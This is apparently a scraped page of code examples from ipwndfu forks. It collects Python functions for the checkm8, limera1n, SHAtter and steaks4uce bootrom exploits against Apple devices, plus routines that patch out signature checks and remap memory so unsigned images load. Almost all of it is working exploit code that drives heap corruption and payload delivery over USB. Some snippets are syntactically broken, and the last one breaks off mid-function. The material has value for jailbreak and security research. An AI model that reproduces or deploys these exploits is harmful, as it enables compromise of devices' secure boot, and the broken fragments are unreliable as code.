Beispiel #1
0
def exploit():
    print '*** checkm8 exploit by axi0mX ***'
    print '*** modified version by Linus Henze ***'
    print '*** s5l8965x support by Matthew Pierson ***'

    device = dfu.acquire_device()
    start = time.time()
    print 'Found:', device.serial_number
    if 'PWND:[' in device.serial_number:
        print 'Device is already in pwned DFU Mode. Not executing exploit.'
        return
    payload, config = exploit_config(device.serial_number)

    if config.large_leak is not None:
        usb_req_stall(device)
        for i in range(config.large_leak):
            usb_req_leak(device)
        usb_req_no_leak(device)
    else:
        stall(device)
        for i in range(config.hole):
            no_leak(device)
        leak(device)
        no_leak(device)
    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    device.serial_number
    libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)

    # Advance buffer offset before triggering the UaF to prevent trashing the heap
    libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0,
                                   'A' * config.overwrite_offset, 10)
    libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
    dfu.release_device(device)

    time.sleep(0.5)

    device = dfu.acquire_device()
    usb_req_stall(device)
    if config.large_leak is not None:
        usb_req_leak(device)
    else:
        for i in range(config.leak):
            usb_req_leak(device)
    libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 50)
    for i in range(0, len(payload), 0x800):
        libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0,
                                       payload[i:i + 0x800], 50)
    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    if 'PWND:[checkm8]' not in device.serial_number:
        print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
        sys.exit(1)
    print 'Device is now in pwned DFU Mode.'
    print '(%0.2f seconds)' % (time.time() - start)
    dfu.release_device(device)
Beispiel #2
0
def exploit():
    print '*** based on limera1n exploit (heap overflow) by geohot ***'

    device = dfu.acquire_device()
    print 'Found:', device.serial_number

    if 'PWND:[' in device.serial_number:
        print 'Device is already in pwned DFU Mode. Not executing exploit.'
        return

    chosenConfig = None
    for config in configs:
        if 'SRTG:[iBoot-%s]' % config.version in device.serial_number:
            chosenConfig = config
            break
    if chosenConfig is None:
        for config in configs:
            if 'CPID:%s' % config.cpid in device.serial_number:
                print 'ERROR: CPID is compatible, but serial number string does not match.'
                print 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.'
                sys.exit(1)
        print 'ERROR: Not a compatible device. This exploit is for S5L8920/S5L8922/S5L8930 devices only. Exiting.'
        sys.exit(1)

    dfu.send_data(
        device,
        generate_payload(chosenConfig.constants, chosenConfig.exploit_lr))

    assert len(device.ctrl_transfer(0xA1, 1, 0, 0, 1, 1000)) == 1

    limera1n_libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800,
                                         10)

    try:
        device.ctrl_transfer(0x21, 2, 0, 0, 0, 10)
        print 'ERROR: This request succeeded, but it should have raised an exception. Exiting.'
        sys.exit(1)
    except usb.core.USBError:
        # OK: This request should have raised USBError.
        pass

    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    dfu.request_image_validation(device)
    dfu.release_device(device)

    time.sleep(0.5)

    device = dfu.acquire_device()
    failed = 'PWND:[limera1n]' not in device.serial_number
    dfu.release_device(device)

    if failed:
        print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
        sys.exit(1)

    print 'Device is now in pwned DFU Mode.'
Beispiel #3
0
    def boot_ibss(self):
        print 'Sending iBSS.'
        if self.config.cpid != '8920':
            print 'ERROR: Boot iBSS is currently only supported on iPhone 3GS.'
            sys.exit(1)

        help1 = 'Download iPhone2,1_4.3.5_8L1_Restore.ipsw and use the following command to extract iBSS:'
        help2 = 'unzip -p iPhone2,1_4.3.5_8L1_Restore.ipsw Firmware/dfu/iBSS.n88ap.RELEASE.dfu > n88ap-iBSS-4.3.5.img3'
        try:
            f = open('n88ap-iBSS-4.3.5.img3', 'rb')
            data = f.read()
            f.close()
        except:
            print 'ERROR: n88ap-iBSS-4.3.5.img3 is missing.'
            print help1
            print help2
            sys.exit(1)
        if len(data) == 0:
            print 'ERROR: n88ap-iBSS-4.3.5.img3 exists, but is empty (size: 0 bytes).'
            print help1
            print help2
            sys.exit(1)
        if hashlib.sha256(data).hexdigest(
        ) != 'b47816105ce97ef02637ec113acdefcdee32336a11e04eda0a6f4fc5e6617e61':
            print 'ERROR: n88ap-iBSS-4.3.5.img3 exists, but is from the wrong IPSW or corrupted.'
            print help1
            print help2
            sys.exit(1)

        iBSS = image3.Image3(data)
        decryptediBSS = iBSS.newImage3(decrypted=True)
        n88ap_iBSS_435_patches = [
            (0x14954, 'run\x00'),  # patch 'reset' command string to 'run'
            (0x17654, struct.pack('<I', 0x41000001)
             ),  # patch 'reset' command handler to LOAD_ADDRESS + 1
        ]
        patchediBSS = decryptediBSS[:64] + utilities.apply_patches(
            decryptediBSS[64:], n88ap_iBSS_435_patches)

        device = dfu.acquire_device()
        assert self.identifier == device.serial_number
        dfu.reset_counters(device)
        dfu.request_image_validation(device)
        dfu.release_device(device)

        time.sleep(0.5)

        device = dfu.acquire_device()
        assert self.identifier == device.serial_number
        data = dfu.send_data(device, patchediBSS)
        dfu.request_image_validation(device)
        dfu.release_device(device)

        time.sleep(0.5)

        print 'Waiting for iBSS to enter Recovery Mode.'
        device = recovery.acquire_device()
        recovery.release_device(device)
Beispiel #4
0
def exploit():
  print '*** checkm8 exploit by axi0mX ***'
  print '*** s5l8747x (haywire) support by a1exdandy ***'

  device = dfu.acquire_device()
  start = time.time()
  print 'Found:', device.serial_number
  if 'PWND:[' in device.serial_number:
    print 'Device is already in pwned DFU Mode. Not executing exploit.'
    return
  payload, config = exploit_config(device.serial_number)

  if config.large_leak is not None:
    usb_req_stall(device)
    for i in range(config.large_leak):
      usb_req_leak(device)
    usb_req_no_leak(device)
  else:
    stall(device)
    for i in range(config.hole):
      no_leak(device)
    usb_req_leak(device)
    no_leak(device)
  dfu.usb_reset(device)
  dfu.release_device(device)

  device = dfu.acquire_device()
  device.serial_number
  libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
  libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
  dfu.release_device(device)

  time.sleep(0.8)

  device = dfu.acquire_device()
  usb_req_stall(device)
  if config.large_leak is not None:
    usb_req_leak(device)
  else:
    for i in range(config.leak):
      usb_req_leak(device)
  libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 100)
  for i in range(0, len(payload), 0x800):
    libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 100)
  dfu.usb_reset(device)
  dfu.release_device(device)

  device = dfu.acquire_device()
  if 'PWND:[checkm8]' not in device.serial_number:
    print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
    sys.exit(1)
  print 'Device is now in pwned DFU Mode.'
  print '(%0.2f seconds)' % (time.time() - start)
  dfu.release_device(device)
Beispiel #5
0
def exploit():
    print('*** based on steaks4uce exploit (heap overflow) by pod2g ***')

    device = dfu.acquire_device()
    print('Found:', device.serial_number)

    if 'PWND:[' in device.serial_number:
        print('Device is already in pwned DFU Mode. Not executing exploit.')
        return

    if 'CPID:8720' not in device.serial_number:
        print(
            'ERROR: Not a compatible device. This exploit is for S5L8720 devices only. Exiting.'
        )
        sys.exit(1)

    chosenConfig = None
    for config in configs:
        if 'SRTG:[iBoot-%s]' % config.version in device.serial_number:
            chosenConfig = config
            break

    if chosenConfig is None:
        print(
            'ERROR: CPID is compatible, but serial number string does not match.'
        )
        print(
            'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.'
        )
        sys.exit(1)

    dfu.reset_counters(device)
    dfu.send_data(device, generate_shellcode(chosenConfig.constants))
    dfu.send_data(device, payload)
    assert len(device.ctrl_transfer(0xA1, 1, 0, 0, len(payload),
                                    1000)) == len(payload)
    dfu.release_device(device)

    time.sleep(0.01)

    device = dfu.acquire_device()
    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    failed = 'PWND:[steaks4uce]' not in device.serial_number
    dfu.release_device(device)

    if failed:
        print('ERROR: Exploit failed. Device did not enter pwned DFU Mode.')
        sys.exit(1)

    print('Device is now in pwned DFU Mode.')
Beispiel #6
0
def exploit():
  print("*** checkm8 exploit by axi0mX ***")

  device = dfu.acquire_device()
  start = time.time()
  print("Found:"), device.serial_number
  if 'PWND:[' in device.serial_number:
    print("Device is already in pwned DFU Mode. Not executing exploit.")
    return
  payload, config = exploit_config(device.serial_number)

  if config.large_leak is not None:
    usb_req_stall(device)
    for i in range(config.large_leak):
      usb_req_leak(device)
    usb_req_no_leak(device)
  else:
    stall(device)
    for i in range(config.hole):
      no_leak(device)
    leak(device)
    no_leak(device)
  dfu.usb_reset(device)
  dfu.release_device(device)

  device = dfu.acquire_device()
  device.serial_number
  libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, b'A' * 0x800, 0.0001)
  libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
  dfu.release_device(device)

  time.sleep(0.5)

  device = dfu.acquire_device()
  usb_req_stall(device)
  if config.large_leak is not None:
    usb_req_leak(device)
  else:
    for i in range(config.leak):
      usb_req_leak(device)
  libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 50)
  for i in range(0, len(payload), 0x800):
    libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50)
  dfu.usb_reset(device)
  dfu.release_device(device)

  device = dfu.acquire_device()
  if 'PWND:[checkm8]' not in device.serial_number:
    print("ERROR: Exploit failed. Device did not enter pwned DFU Mode.")
    sys.exit(1)
  print("Device is now in pwned DFU Mode.")
  print("(%0.2f seconds)" % (time.time() - start))
  dfu.release_device(device)
Beispiel #7
0
def exploit_a8_a9():
    print '*** checkm8 exploit by axi0mX ***'

    device = dfu.acquire_device()
    start = time.time()
    print 'Found:', device.serial_number
    if 'PWND:[' in device.serial_number:
        print 'Device is already in pwned DFU Mode. Not executing exploit.'
        return
    padding = 0x400 + 0x80 + 0x80
    overwrite = struct.pack('<32xQQ', 0x180380000, 0)
    if 'CPID:8000' in device.serial_number or\
        'CPID:8003' in device.serial_number:
        payload_a8_a9 = payload(0x8003)
    elif 'CPID:7000' in device.serial_number:
        payload_a8_a9 = payload(0x7000)

    stall(device)
    leak(device)
    for i in range(40):
        no_leak(device)
    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    device.serial_number
    libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
    libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, 'A' * padding, 10)
    libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
    dfu.release_device(device)

    time.sleep(0.5)

    device = dfu.acquire_device()
    usb_req_stall(device)
    usb_req_leak(device)
    usb_req_leak(device)
    usb_req_leak(device)
    libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, overwrite, 100)
    for i in range(0, len(payload_a8_a9), 0x800):
        libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0,
                                       payload_a8_a9[i:i + 0x800], 100)
    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    if 'PWND:[checkm8]' not in device.serial_number:
        print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
        sys.exit(1)
    print 'Device is now in pwned DFU Mode.'
    print '(%0.2f seconds)' % (time.time() - start)
    dfu.release_device(device)
Beispiel #8
0
    def __init__(self):
        self.config = None
        self.platform = None

        device = dfu.acquire_device()
        self.serial_number = device.serial_number
        dfu.release_device(device)

        for dp in device_platform.all_platforms:
            if self.serial_number.startswith('CPID:%04x CPRV:%02x ' %
                                             (dp.cpid, dp.cprv)):
                self.platform = dp
                break
        if self.platform is None:
            print self.serial_number
            print 'ERROR: No matching usbexec.platform found for this device.'
            sys.exit(1)

        info = self.read_memory(self.image_base() + 0x200, 0x100)
        for config in configs:
            if config.match(info):
                self.config = config
                break
        if self.config is None:
            print info
            print 'ERROR: No matching usbexec.config found for this image.'
            sys.exit(1)
Beispiel #9
0
    def command(self, request_data, response_length):
        assert 0 <= response_length <= USB_READ_LIMIT
        device = dfu.acquire_device()
        assert self.serial_number == device.serial_number
        dfu.send_data(device, '\0' * 16)
        device.ctrl_transfer(0x21, 1, 0, 0, 0, 100)
        device.ctrl_transfer(0xA1, 3, 0, 0, 6, 100)
        device.ctrl_transfer(0xA1, 3, 0, 0, 6, 100)
        dfu.send_data(device, request_data)
        # address = 0
        # for line in utilities.hex_dump(request_data, address).splitlines():
        #     print '%x: %s' % (address, line[10:])
        #     address += 16
        # print(request_data)
        # self.hexdump(0, request_data)

        # HACK
        if response_length == 0:
            response = device.ctrl_transfer(0xA1, 2, 0xFFFF, 0,
                                            response_length + 1,
                                            CMD_TIMEOUT).tostring()[1:]
        else:
            response = device.ctrl_transfer(0xA1, 2, 0xFFFF, 0,
                                            response_length,
                                            CMD_TIMEOUT).tostring()
            # print(response)
        dfu.release_device(device)
        assert len(response) == response_length
        return response
Beispiel #10
0
def main():
    print "*** SecureROM Signature check remover by Linus Henze ***"
    device = dfu.acquire_device()
    print "Found:", device.serial_number
    if not "PWND:[" in device.serial_number:
        print "Please enable pwned DFU Mode first."
        sys.exit(1)
    if not "PWND:[checkm8]" in device.serial_number:
        print "Only devices pwned using checkm8 are supported."
        sys.exit(1)
    config = exploit_config(device.serial_number)
    print "Applying patches..."
    try:
        pdev = usbexec.PwnedUSBDevice()
    except usb.core.USBError:
        print "Patches have already been applied. Exiting."
        sys.exit(0)
    for k in config.patches.keys():
        pdev.write_memory(k, config.patches[k])
    print "Successfully applied patches"
    print "Resetting device state"
    print "* This will effectiveley disable pwned DFU Mode"
    print "* Only the signature patches will remain"
    # Send abort
    device.ctrl_transfer(HOST2DEVICE, DFU_ABORT, 0, 0, 0, 0)
    # Perform USB reset
    dfu.usb_reset(device)
    dfu.release_device(device)
    print "Device is now ready to accept unsigned images"
Beispiel #11
0
    def __init__(self):
        device = dfu.acquire_device()
        self.identifier = device.serial_number
        dfu.release_device(device)

        if 'PWND:[' not in self.identifier:
            print(
                'ERROR: Device is not in pwned DFU Mode. Use -p flag to exploit device and then try again.'
            )
            sys.exit(1)

        if 'CPID:8720' in self.identifier:
            print(
                'ERROR: This feature is not supported on iPod Touch (2nd generation).'
            )
            sys.exit(1)

        self.config = None
        for config in configs:
            if 'SRTG:[iBoot-%s]' % config.version in self.identifier:
                self.config = config
                break
        if self.config is None:
            print(
                'ERROR: Device seems to be in pwned DFU Mode, but a matching configuration was not found.'
            )
            sys.exit(1)
Beispiel #12
0
def exploit():
    print '*** based on SHAtter exploit (segment overflow) by posixninja and pod2g ***'

    device = dfu.acquire_device()
    print 'Found:', device.serial_number

    if 'PWND:[' in device.serial_number:
        print 'Device is already in pwned DFU Mode. Not executing exploit.'
        return

    if 'CPID:8930' not in device.serial_number:
        print 'ERROR: Not a compatible device. This exploit is for S5L8930 devices only. Exiting.'
        sys.exit(1)

    if 'SRTG:[iBoot-574.4]' not in device.serial_number:
        print 'ERROR: CPID is compatible, but serial number string does not match.'
        print 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.'
        sys.exit(1)

    dfu.reset_counters(device)
    dfu.get_data(device, 0x40)
    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    dfu.request_image_validation(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    dfu.get_data(device, 0x2C000)
    dfu.release_device(device)

    time.sleep(0.5)

    device = dfu.acquire_device()
    dfu.reset_counters(device)
    dfu.get_data(device, 0x140)
    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    dfu.request_image_validation(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    dfu.send_data(device, generate_payload())
    dfu.get_data(device, 0x2C000)
    dfu.release_device(device)

    time.sleep(0.5)

    device = dfu.acquire_device()
    failed = 'PWND:[SHAtter]' not in device.serial_number
    dfu.release_device(device)

    if failed:
        print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
        sys.exit(1)

    print 'Device is now in pwned DFU Mode.'
Beispiel #13
0
    def execute(self, cmd, receiveLength):
        device = dfu.acquire_device()
        assert self.identifier == device.serial_number

        dfu.reset_counters(device)
        dfu.send_data(device, EXEC_MAGIC + cmd)
        dfu.request_image_validation(device)
        dfu.release_device(device)

        time.sleep(0.5)

        device = dfu.acquire_device()
        assert self.identifier == device.serial_number

        requiredLength = 0x8 + receiveLength
        requiredLength = requiredLength if requiredLength % 0x800 == 0 else requiredLength / 0x800 * 0x800 + 0x800
        received = dfu.get_data(device, requiredLength)
        dfu.release_device(device)

        (exec_cleared, retval) = struct.unpack('<2I', received[:8])
        assert exec_cleared == 0
        return (retval, received[8:8 + receiveLength])
Beispiel #14
0
  def command(self, request_data, response_length):
    assert 0 <= response_length <= USB_READ_LIMIT
    device = dfu.acquire_device()
    assert self.serial_number == device.serial_number
    dfu.send_data(device, b'\0' * 16)
    device.ctrl_transfer(0x21, 1, 0, 0, 0, 100)
    device.ctrl_transfer(0xA1, 3, 0, 0, 6, 100)
    device.ctrl_transfer(0xA1, 3, 0, 0, 6, 100)
    dfu.send_data(device, request_data)

    # HACK
    if response_length == 0:
      response = device.ctrl_transfer(0xA1, 2, 0xFFFF, 0, response_length + 1, CMD_TIMEOUT).tostring()[1:]
    else:
      response = device.ctrl_transfer(0xA1, 2, 0xFFFF, 0, response_length, CMD_TIMEOUT).tostring()
    dfu.release_device(device)
    assert len(response) == response_length
    return response
Beispiel #15
0
def getInfo():
    global serial_number, cpid, bdid
    dev = dfu.acquire_device()
    serial_number = dev.serial_number
    print("Found:" + serial_number)
    if not "PWND:[" in serial_number:
        print "Please enable pwned DFU Mode first."
        exit(4)
    cpid_m = re.search("CPID:([0-9A-F]{4})", serial_number)
    if cpid_m == None:
        print("Could not find CPID in serial")
        exit(4)
    cpid = cpid_m.group(1)
    if bdid == None:
        bdid_m = re.search("BDID:([0-9A-F][0-9A-F])", serial_number)
        if bdid_m == None:
            print("Could not find BDID in serial")
            exit(4)
        bdid = bdid_m.group(1)
    dfu.release_device(dev)
Beispiel #16
0
    def boot_ibss(self):
        print('Sending iBSS.'
        if self.config.cpid != '8920':
            print('ERROR: Boot iBSS is currently only supported on iPhone 3GS.')
            sys.exit(1)

        help1 = 'Download iPhone2,1_4.3.5_8L1_Restore.ipsw and use the following command to extract iBSS:'
        help2 = 'unzip -p iPhone2,1_4.3.5_8L1_Restore.ipsw Firmware/dfu/iBSS.n88ap.RELEASE.dfu > n88ap-iBSS-4.3.5.img3'
        try:
            f = open('n88ap-iBSS-4.3.5.img3', 'rb')
            data = f.read()
            f.close()
        except:
            print('ERROR: n88ap-iBSS-4.3.5.img3 is missing.')
            print (help1)
            print (help2)
            sys.exit(1)
        if len(data) == 0:
            print('ERROR: n88ap-iBSS-4.3.5.img3 exists, but is empty (size: 0 bytes).')
            print (help1)
            print (help2)
            sys.exit(1)
        if hashlib.sha256(data).hexdigest() != 'b47816105ce97ef02637ec113acdefcdee32336a11e04eda0a6f4fc5e6617e61':
            print('ERROR: n88ap-iBSS-4.3.5.img3 exists, but is from the wrong IPSW or corrupted.')
            print help1
            print help2
            sys.exit(1)

        iBSS = image3.Image3(data)
        decryptediBSS = iBSS.newImage3(decrypted=True)
        n88ap_iBSS_435_patches = [
            (0x14954,                     'run\x00'), # patch 'reset' command string to 'run'
            (0x17654, struct.pack('<I', 0x41000001)), # patch 'reset' command handler to LOAD_ADDRESS + 1
        ]
        patchediBSS = decryptediBSS[:64] + utilities.apply_patches(decryptediBSS[64:], n88ap_iBSS_435_patches)

        device = dfu.acquire_device()
        assert self.identifier == device.serial_number
        dfu.reset_counters(device)
        dfu.request_image_validation(device)
        dfu.release_device(device)

        time.sleep(0.5)

        device = dfu.acquire_device()
        assert self.identifier == device.serial_number
        data = dfu.send_data(device, patchediBSS)
        dfu.request_image_validation(device)
        dfu.release_device(device)

        time.sleep(0.5)

        print('Waiting for iBSS to enter Recovery Mode.')
        device = recovery.acquire_device()
        recovery.release_device(device)

    def flash_nor(self, nor):
        self.boot_ibss()
        print('Sending iBSS payload to flash NOR.')
        MAX_SHELLCODE_LENGTH = 128
        payload = open('bin/ibss-flash-nor-shellcode.bin', 'rb').read()
        assert len(payload) <= MAX_SHELLCODE_LENGTH
        payload += '\x00' * (MAX_SHELLCODE_LENGTH - len(payload)) + nor

        device = recovery.acquire_device()
        assert 'CPID:8920' in device.serial_number
        recovery.send_data(device, payload)
        try:
            print('Sending run command.'
            recovery.send_command(device, 'run')
        except usb.core.USBError:
            # OK
            pass
            #print('Caught USBError; should still work.'
        recovery.release_device(device)
        print('If screen is not red, NOR was flashed successfully and device will reboot.')

    def decrypt_keybag(self, keybag):
        KEYBAG_LENGTH = 48
        assert len(keybag) == KEYBAG_LENGTH

        KEYBAG_FILENAME = 'aes-keys/S5L%s-firmware' % self.config.cpid
        try:
            f = open(KEYBAG_FILENAME, 'rb')
            data = f.read()
            f.close()
        except IOError:
            data = str()
        assert len(data) % 2 * KEYBAG_LENGTH == 0

        for i in range(0, len(data), 2 * KEYBAG_LENGTH):
            if keybag == data[i:i+KEYBAG_LENGTH]:
                return data[i+KEYBAG_LENGTH:i+2*KEYBAG_LENGTH]

        device = PwnedDFUDevice()
        decrypted_keybag = device.aes(keybag, AES_DECRYPT, AES_GID_KEY)

        f = open(KEYBAG_FILENAME, 'a')
        f.write(keybag + decrypted_keybag)
        f.close()

        return decrypted_keybag
Beispiel #17
0
def exploit():
    print '*** checkm8 exploit by axi0mX ***'

    device = dfu.acquire_device()
    start = time.time()
    print 'Found:', device.serial_number
    payload, config = exploit_config(device.serial_number)
    # payload, config = exploit_config("CPID:8015 CPRV:11 CPFM:03 SCEP:01 BDID:0A ECID:<> IBFL:3C SRTG:[iBoot-3332.0.0.1.23]")

    # t8015
    hexdump(0x18001c000, payload)
    # return

    if 'PWND:[' in device.serial_number:
        print 'Device is already in pwned DFU Mode. Not executing exploit.'
        return
    # payload, config = exploit_config(device.serial_number)

    if config.large_leak is not None:
        usb_req_stall(device)
        for i in range(config.large_leak):
            usb_req_leak(device)
        usb_req_no_leak(device)
    else:
        stall(device)
        for i in range(config.hole):
            no_leak(device)
        usb_req_leak(device)
        no_leak(device)
    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    device.serial_number
    libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
    libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
    dfu.release_device(device)

    time.sleep(0.5)

    device = dfu.acquire_device()
    usb_req_stall(device)
    if config.large_leak is not None:
        usb_req_leak(device)
    else:
        for i in range(config.leak):
            usb_req_leak(device)
    libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 100)
    for i in range(0, len(payload), 0x800):
        libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0,
                                       payload[i:i + 0x800], 100)
    dfu.usb_reset(device)
    dfu.release_device(device)

    device = dfu.acquire_device()
    if 'PWND:[checkm8]' not in device.serial_number:
        print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
        sys.exit(1)
    print 'Device is now in pwned DFU Mode.'
    print '(%0.2f seconds)' % (time.time() - start)

    dfu.release_device(device)
Beispiel #18
0
import dfu
device = dfu.acquire_device()
dfu.release_device(device)
Beispiel #19
0
def exploit():
    print('*** checkm8 exploit by axi0mX ***')

    print('**** STAGE 1 ****')
    print('Checking for device in DFU mode')

    device = dfu.acquire_device()
    start = time.time()
    print('Found:', device.serial_number)
    if 'PWND:[' in device.serial_number:
        print("Device already PWNed. Exiting.")
        return

    print('**** STAGE 2 ****')
    print("Checking if device is exploitable")
    payload, config = exploit_config(device.serial_number)

    print("CPID: %s is exploitable" % hex(config.cpid))
    print("Bootloader: [%s]" % config.version)
    print('**** STAGE 3 ****')
    print("Leaking...")

    if config.large_leak is not None:
        usb_req_stall(device)
        for i in range(config.large_leak):
            usb_req_leak(device)
        usb_req_no_leak(device)
    else:
        stall(device)
        for i in range(config.hole):
            no_leak(device)
        leak(device)
        no_leak(device)

    print('Resetting USB and releasing device')
    # reset & release device
    dfu.usb_reset(device)
    dfu.release_device(device)

    print('**** STAGE 4 ****')
    device = dfu.acquire_device()
    device.serial_number

    libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
    libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
    dfu.release_device(device)

    time.sleep(0.5)

    print('**** STAGE 5 ****')

    device = dfu.acquire_device()
    usb_req_stall(device)
    if config.large_leak is not None:
        usb_req_leak(device)
    else:
        for i in range(config.leak):
            usb_req_leak(device)
    libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 50)
    for i in range(0, len(payload), 0x800):
        libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0,
                                       payload[i:i + 0x800], 50)
    dfu.usb_reset(device)
    dfu.release_device(device)

    print("**** STAGE 6 ****")

    # check if device pwned
    device = dfu.acquire_device()
    if 'PWND:[checkm8]' not in device.serial_number:
        print('ERROR: Exploit failed. Device did not enter pwned DFU Mode.')
        sys.exit(1)
    print('Device is now in pwned DFU Mode.')
    print('(%0.2f seconds)' % (time.time() - start))
    dfu.release_device(device)
Beispiel #20
0
def main():
    print "*** SecureROM t8015 sigcheckpath by tihmstar ***"
    device = dfu.acquire_device()
    print "Found:", device.serial_number
    if not "PWND:[" in device.serial_number:
        print "Please enable pwned DFU Mode first."
        sys.exit(1)
    if not "PWND:[checkm8]" in device.serial_number:
        print "Only devices pwned using checkm8 are supported."
        sys.exit(1)
    dfu.release_device(device)

    device = usbexec.PwnedUSBDevice()

    #make Level3 Table
    l3table = ""
    for addr in range(0x0000000100000000, 0x0000000100100000, PAGE_SIZE):
        entry = struct.pack("<Q", makePTE_Page_16K(addr))
        if addr == REMAP_PAGE:  #we are remapping heapcheck page
            entry = struct.pack("<Q", makePTE_Page_16K(SRAM_REMAP_PAGE))
        elif addr == REMAP_PAGE2:  #we are remapping sigcheck page
            entry = struct.pack("<Q", makePTE_Page_16K(SRAM_REMAP_PAGE2))
        l3table += entry

    #we write L3 Table here
    device.write_memory(SRAM_PAGETABLE_PAGE, l3table)

    #remap heapcheck page to sram
    device.memcpy(SRAM_REMAP_PAGE, REMAP_PAGE, PAGE_SIZE)

    #remap sigcheck page to sram
    device.memcpy(SRAM_REMAP_PAGE2, REMAP_PAGE2, PAGE_SIZE)

    # patch heap corruption check
    device.write_memory(0x000000010000db98 - REMAP_PAGE + SRAM_REMAP_PAGE,
                        "\xC0\x03\x5F\xD6")

    #patch codesigs
    device.write_memory(0x000000010000624c - REMAP_PAGE2 + SRAM_REMAP_PAGE2,
                        "\x00\x00\x80\xD2")

    #L2 Table point to L3
    device.write_memory(
        0x000000018000c400,
        struct.pack("<Q", makePTE_Table_16K(SRAM_PAGETABLE_PAGE)))

    #memory barrier
    device.execute(0, 0x1000004F0)

    #flush tlb
    device.execute(0, 0x1000004AC)

    print("done remapping and patching page")
    device = dfu.acquire_device()

    device.ctrl_transfer(HOST2DEVICE, DFU_ABORT, 0, 0, 0, 0)
    # Perform USB reset
    try:
        dfu.usb_reset(device)
        dfu.release_device(device)
    except:
        pass
    print "Device is now ready to accept unsigned images"
Beispiel #21
0
def exploit():
    print('*** checkm8 exploit by axi0mX ***')

    print("****** stage 1, heap grooming")
    device = dfu.acquire_device()
    start = time.time()
    print('Found:', device.serial_number)
    if 'PWND:[' in device.serial_number:
        print('Device is already in pwned DFU Mode. Not executing exploit.')
        return
    payload, config = exploit_config(device.serial_number)

    if config.large_leak is not None:
        usb_req_stall(device)
        for i in range(config.large_leak):
            usb_req_leak(device)
        usb_req_no_leak(device)
    else:
        print("no large leak, hole:%d" % config.hole)
        stall(device)
        for i in range(config.hole):
            no_leak(device)
        leak(device)
        no_leak(device)
    dfu.usb_reset(device)
    dfu.release_device(device)

    print("****** stage 2, usb setup, send 0x800 of 'A', sends no data")
    device = dfu.acquire_device()
    device.serial_number
    libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, b'A' * 0x800, 0.0001)
    libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
    dfu.release_device(device)
    #exit(0)

    time.sleep(0.5)

    print("****** stage 3, exploit")
    device = dfu.acquire_device()
    usb_req_stall(device)
    if config.large_leak is not None:
        usb_req_leak(device)
    else:
        print("doing leak %d" % config.leak)
        for i in range(config.leak):
            usb_req_leak(device)

    # https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
    # this is the real smash, what's in overwrite
    # t8010_nop_gadget = 0x10000CC6C
    """
  ROM:000000010000CC6C                 LDP             X29, X30, [SP,#0x10] ; this is the nop gadget?
  ROM:000000010000CC70                 LDP             X20, X19, [SP],#0x20
  ROM:000000010000CC74                 RET
  """
    # t8010_overwrite    = b'\0' * 0x580 + struct.pack('<32x2Q',             t8010_nop_gadget, 0x1800B0800)
    # SP = 0x1800B0800?
    # This overwrites the task struct
    libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 50)

    #return struct.pack('<1024sQ504x2Q496s32x',
    #  0x400 = t8010_shellcode,
    #  0x1000006A5, 0x60000180000625, 0x1800006A5, prepare_shellcode('t8010_t8011_disable_wxn_arm64')) +
